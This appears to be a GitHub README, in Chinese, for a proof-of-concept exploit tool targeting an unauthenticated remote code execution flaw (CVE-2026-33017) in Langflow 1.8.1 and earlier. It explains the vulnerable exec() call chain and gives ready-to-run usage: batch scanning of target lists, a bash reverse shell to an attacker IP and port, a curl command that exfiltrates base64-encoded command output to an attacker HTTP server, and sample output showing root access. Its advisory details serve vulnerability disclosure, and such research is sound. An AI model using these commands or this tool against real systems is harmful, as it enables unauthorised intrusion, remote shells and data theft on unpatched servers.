MaxMnMl/langflow-CVE-2026-33017-poc

GitHub: MaxMnMl/langflow-CVE-2026-33017-poc

针对Langflow <= 1.8.1版本中公开flow构建端点的未认证远程代码执行漏洞(CVE-2026-33017)的概念验证利用工具。

Stars: 0 | Forks: 0

# CVE-2026-33017 — Langflow 未认证 RCE PoC ![CVE](https://img.shields.io/badge/CVE-2026--33017-red) ![CVSS](https://img.shields.io/badge/CVSS-9.3%20Critical-critical) ![Affected](https://img.shields.io/badge/Affected-Langflow%20%3C%3D%201.8.1-orange) ![Language](https://img.shields.io/badge/Language-Python-blue) ## 概要 Langflow `<= 1.8.1` 暴露了一个公开的 flow 构建端点,该端点接受包含任意代码的攻击者控制的 flow 数据。此代码被传递给 `validate.py` 中的 `prepare_global_scope()`,后者在没有任何沙箱隔离的情况下调用了 `exec()`,导致以服务器进程权限进行未认证的远程代码执行。 - **CVE:** [CVE-2026-33017](https://www.cve.org/CVERecord?id=CVE-2026-33017) - **GHSA:** [GHSA-vwmf-pq79-vjvx](https://github.com/advisories/GHSA-vwmf-pq79-vjvx) - **严重程度:** Critical — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N) - **已修复:** [v 1.8.2](https://github.com/langflow-ai/langflow/releases/tag/1.8.2) ## 受影响版本 | Package | Affected | Patched | | -------------- | ---------- | ------- | | `pip langflow` | `<= 1.8.1` | `1.8.2` | ## 漏洞详情 ### 根本原因 `build_public_tmp` 端点被有意设计为无需认证——其目的是允许任何人执行存储的公开 flow。缺陷在于它还接受一个可选的 `data` 参数,其中包含攻击者控制的 flow 定义。因此,未经认证的用户可以提交任意节点代码,服务器将其视为合法的 flow 图,并在未经验证的情况下直接传递给代码执行例程。 修复方案很简单:移除 `data` 参数并强制端点仅调用 `build_graph_from_db()`,以便公开 flow 仅执行存储的数据,绝不执行攻击者提供的代码。 ### 执行链 攻击者的 payload 在到达执行之前会经过以下调用链: | Step | File | Detail | | ---- | ----------------- | ---------------------------------------------------------------------- | | 1 | `chat.py:580` | `build_public_tmp` 在请求体中接收攻击者数据 | | 2 | `build.py:81` | `start_flow_build()` 转发不受信任的 payload | | 3 | `build.py:298` | `build_graph_from_data()` 将其传递给图构造 | | 4 | `base.py:1168` | `Graph.from_payload()` 反序列化攻击者提供的节点定义 | | 5 | `base.py:1323` | 为每个节点调用 `instantiate_component()` | | 6 | `loading.py:43` | 从自定义组件参数中提取 `code` 字段 | | 7 | `eval.py:9` | `create_class()` 接收原始攻击者代码 | | 8 | `validate.py:397` | `exec(compiled_code, exec_globals)` — 无沙箱 | ### 为什么模块级注入有效 `validate.py` 中的 `prepare_global_scope()` 在图编译期间处理 `ast.Assign` 节点——在任何 flow 方法被调用之前。因此,注入代码中的顶级赋值会立即执行: ``` _r = __import__('os').system("whoami") # runs at compile time, not at flow run time ``` 输出进入 **server 的 stdout**,而不是 HTTP 响应。数据渗出需要带外回调(反向 shell,curl webhook)。 ### 易受攻击端点 | Endpoint | Authentication | Attack Vector | | ---------------------------------------------- | -------------- | ----------------------- | | `POST /api/v1/build_public_tmp/{flow_id}/flow` | None | Remote, unauthenticated | ### 利用场景 | Scenario | Requirement | | -------------------------- | -------------------------------------------------------------------------------- | | **A — 启用 AUTO_LOGIN** | `AUTO_LOGIN=true`:匿名获取 JWT token,创建一个 PUBLIC flow,利用漏洞 | | **B — 已知公开 flow** | 已知共享/公开的 flow UUID:直接利用,无需认证 | ## 用法 ``` pip install requests python3 poc.py --url http://target:7860 --cmd "id" ``` ### 选项 | Flag | Default | Description | | -------------- | ------- | ----------------------------------------------------- | | `--url` | — | 单个目标 Langflow URL | | `--url-file` | — | 每行一个 URL 的文本文件(批量扫描) | | `--cmd` | `id` | 在目标上执行的 OS 命令 | | `--flow-id` | — | 现有公开 flow 的 UUID(跳过 flow 创建) | | `--threads` | `5` | 批量模式的并行线程数 | | `--timeout` | `15` | HTTP 请求超时(秒) | | `--no-cleanup` | `false` | 利用后保留创建的 flow | ### 示例 **盲确认(在不捕获输出的情况下验证 RCE)** ``` python3 poc.py --url http://target:7860 --cmd "id" ``` **反向 shell — 配合本地监听器** ``` # 1. 在你的机器上启动监听器 nc -lvnp 4444 # 2. 发送 reverse shell python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'" ``` **通过 HTTP 回调进行 OOB 数据渗出 — 配合本地服务器** ``` # 1. 启动本地 HTTP server python3 -m http.server 8080 # 2. 通过 curl callback 窃取输出 python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)" ``` **使用已知的公开 flow UUID(无需创建 flow)** ``` python3 poc.py --url http://target:7860 --cmd "id" --flow-id ``` **从文件进行批量扫描** ``` python3 poc.py --url-file targets.txt --cmd "id" --threads 10 ``` ### 示例输出 PoC 确认执行已发生。`[+] VULNERABLE` 表示构建成功且注入的代码已运行——它**并不**意味着捕获了输出。 ``` ============================================================ CVE-2026-33017 — Langflow RCE PoC ============================================================ Targets : 1 Command : curl http://10.10.14.1:8080/$(id | base64 -w0) Threads : 5 | Timeout : 15s ============================================================ [http://target:7860] auth: JWT token obtained [http://target:7860] flow: created (3f2a1b4c-...) [http://target:7860] [+] VULNERABLE — RCE executed [http://target:7860] flow: deleted (3f2a1b4c-...) ============================================================ SUMMARY ============================================================ [+] http://target:7860 VULNERABLE ============================================================ 1/1 target(s) vulnerable ``` 在本地 HTTP 服务器上接收到的输出: ``` 10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 - # base64 -d → uid=0(root) gid=0(root) groups=0(root) ``` ## 参考 - [GHSA-vwmf-pq79-vjvx](https://github.com/advisories/GHSA-vwmf-pq79-vjvx) - [CVE-2026-33017](https://www.cve.org/CVERecord?id=CVE-2026-33017) - [Langflow 仓库](https://github.com/langflow-ai/langflow) - 相关: [CVE-2025-3248](https://github.com/advisories/GHSA-xm5v-h5f2-2mjp) — `/api/v1/validate/code` 上类似的 `exec()` 问题
标签:CISA项目, CVE-2026-33017, CVSS 9.3, Langflow, OPA, PoC, RCE, 人工智能安全, 企业安全, 合规性, 暴力破解, 未授权访问, 漏洞分析, 编程工具, 网络资产管理, 自动化payload嵌入, 路径探测, 输入验证缺失, 远程代码执行, 逆向工具, 靶场